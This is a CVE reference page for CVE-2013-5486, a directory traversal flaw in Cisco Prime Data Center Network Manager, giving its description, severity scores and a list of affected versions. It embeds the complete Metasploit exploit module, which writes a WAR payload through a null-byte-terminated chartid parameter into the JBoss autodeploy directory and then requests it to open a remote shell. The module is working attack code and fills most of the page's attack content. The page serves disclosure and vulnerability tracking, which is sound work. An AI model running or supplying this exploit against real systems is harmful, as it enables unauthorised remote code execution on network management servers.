CVE-2013-5486 : Detail

CVE-2013-5486

OS Command Injection
A03-Injection
88.68%V4
Network
2013-09-23
08h00 +00:00
2014-01-16
00h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Directory traversal vulnerability in processImageSave.jsp in DCNM-SAN Server in Cisco Prime Data Center Network Manager (DCNM) before 6.2(1) allows remote attackers to write arbitrary files via the chartid parameter, aka Bug IDs CSCue77035 and CSCue77036. NOTE: this can be leveraged to execute arbitrary commands by using the JBoss autodeploy functionality.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Metrics

Metrics Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 30008

Publication date : 2013-12-02 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Cisco Prime Data Center Network Manager Arbitrary File Upload', 'Description' => %q{ This module exploits a code execution flaw in Cisco Data Center Network Manager. The vulnerability exists in processImageSave.jsp, which can be abused through a directory traversal and a null byte injection to upload arbitrary files. The autodeploy JBoss application server feature is used to achieve remote code execution. This module has been tested successfully on Cisco Prime Data Center Network Manager 6.1(2) on Windows 2008 R2 (64 bits). }, 'Author' => [ 'rgod <rgod[at]autistici.org>', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-5486'], [ 'OSVDB', '97426' ], [ 'ZDI', '13-254' ], [ 'URL', 'http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20130918-dcnm' ] ], 'Privileged' => true, 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'Cisco DCNM 6.1(2) / Java Universal', { 'AutoDeployPath' => "../../../../../deploy", 'CleanupPath' => "../../jboss-4.2.2.GA/server/fm/deploy" } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 18 2013')) register_options( [ OptString.new('TARGETURI', [true, 'Path to Cisco DCNM', '/']), OptInt.new('ATTEMPTS', [true, 'The number of attempts to execute the payload (auto deployed by JBoss)', 10]) ], self.class) end def upload_file(location, filename, contents) res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path, "cues_utility", "charts", "processImageSave.jsp"), 'method' => 'POST', 'encode_params' => false, 'vars_post' => { "mode" => "save", "savefile" => "true", "chartid" => "#{location}/#{filename}%00", "data" => Rex::Text.uri_encode(Rex::Text.encode_base64(contents)) } }) if res and res.code == 200 and res.body.to_s =~ /success/ return true else return false end end def check version = "" res = send_request_cgi({ 'url' => target_uri.to_s, 'method' => 'GET' }) unless res return Exploit::CheckCode::Unknown end if res.code == 200 and res.body.to_s =~ /Data Center Network Manager/ and res.body.to_s =~ /<div class="productVersion">Version: (.*)<\/div>/ version = $1 print_status("Cisco Primer Data Center Network Manager version #{version} found") elsif res.code == 200 and res.body.to_s =~ /Data Center Network Manager/ return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end if version =~ /6\.1/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit attempts = datastore['ATTEMPTS'] fail_with(Failure::BadConfig, "#{peer} - Configure 1 or more ATTEMPTS") unless attempts > 0 app_base = rand_text_alphanumeric(4+rand(32-4)) # By default uploads land here: C:\Program Files\Cisco Systems\dcm\jboss-4.2.2.GA\server\fm\tmp\deploy\tmp3409372432509144123dcm-exp.war\cues_utility\charts # Auto deploy dir is here C:\Program Files\Cisco Systems\dcm\jboss-4.2.2.GA\server\fm\deploy # Sessions pwd is here C:\Program Files\Cisco Systems\dcm\fm\bin war = payload.encoded_war({ :app_name => app_base }).to_s war_filename = "#{app_base}.war" war_location = target['AutoDeployPath'] print_status("#{peer} - Uploading WAR file #{war_filename}...") res = upload_file(war_location, war_filename, war) if res register_files_for_cleanup("#{target['CleanupPath']}/#{war_filename}") else fail_with(Failure::Unknown, "#{peer} - Failed to upload the WAR payload") end attempts.times do select(nil, nil, nil, 2) # Now make a request to trigger the newly deployed war print_status("#{peer} - Attempting to launch payload in deployed WAR...") res = send_request_cgi( { 'uri' => normalize_uri(target_uri.path, app_base, Rex::Text.rand_text_alpha(rand(8)+8)), 'method' => 'GET' }) # Failure. The request timed out or the server went away. fail_with(Failure::TimeoutExpired, "#{peer} - The request timed out or the server went away.") if res.nil? # Success! Triggered the payload, should have a shell incoming break if res.code == 200 end end end

Products Mentioned

Configuraton 0

Cisco>>Prime_data_center_network_manager >> Version 4.1\(2\)

Cisco>>Prime_data_center_network_manager >> Version 4.1\(3\)

Cisco>>Prime_data_center_network_manager >> Version 4.1\(4\)

Cisco>>Prime_data_center_network_manager >> Version 4.1\(5\)

Cisco>>Prime_data_center_network_manager >> Version 4.2\(1\)

Cisco>>Prime_data_center_network_manager >> Version 4.2\(3\)

Cisco>>Prime_data_center_network_manager >> Version 5.0\(2\)

Cisco>>Prime_data_center_network_manager >> Version 5.0\(3\)

Cisco>>Prime_data_center_network_manager >> Version 5.1\(1\)

Cisco>>Prime_data_center_network_manager >> Version 5.1\(2\)

Cisco>>Prime_data_center_network_manager >> Version 5.1\(3u\)

Cisco>>Prime_data_center_network_manager >> Version 5.2\(2\)

Cisco>>Prime_data_center_network_manager >> Version 5.2\(2a\)

Cisco>>Prime_data_center_network_manager >> Version 5.2\(2b\)

Cisco>>Prime_data_center_network_manager >> Version 5.2\(2c\)

Cisco>>Prime_data_center_network_manager >> Version 5.2\(2e\)

Cisco>>Prime_data_center_network_manager >> Version 6.1\(1a\)

Cisco>>Prime_data_center_network_manager >> Version 6.1\(1b\)

Configuraton 0

Cisco>>Prime_data_center_network_manager >> Version To (including) 6.1\(1b\)

Cisco>>Prime_data_center_network_manager >> Version 5.2\(2e\)

Cisco>>Prime_data_center_network_manager >> Version 6.1\(1a\)

References

http://www.exploit-db.com/exploits/30008
Tags : exploit, x_refsource_EXPLOIT-DB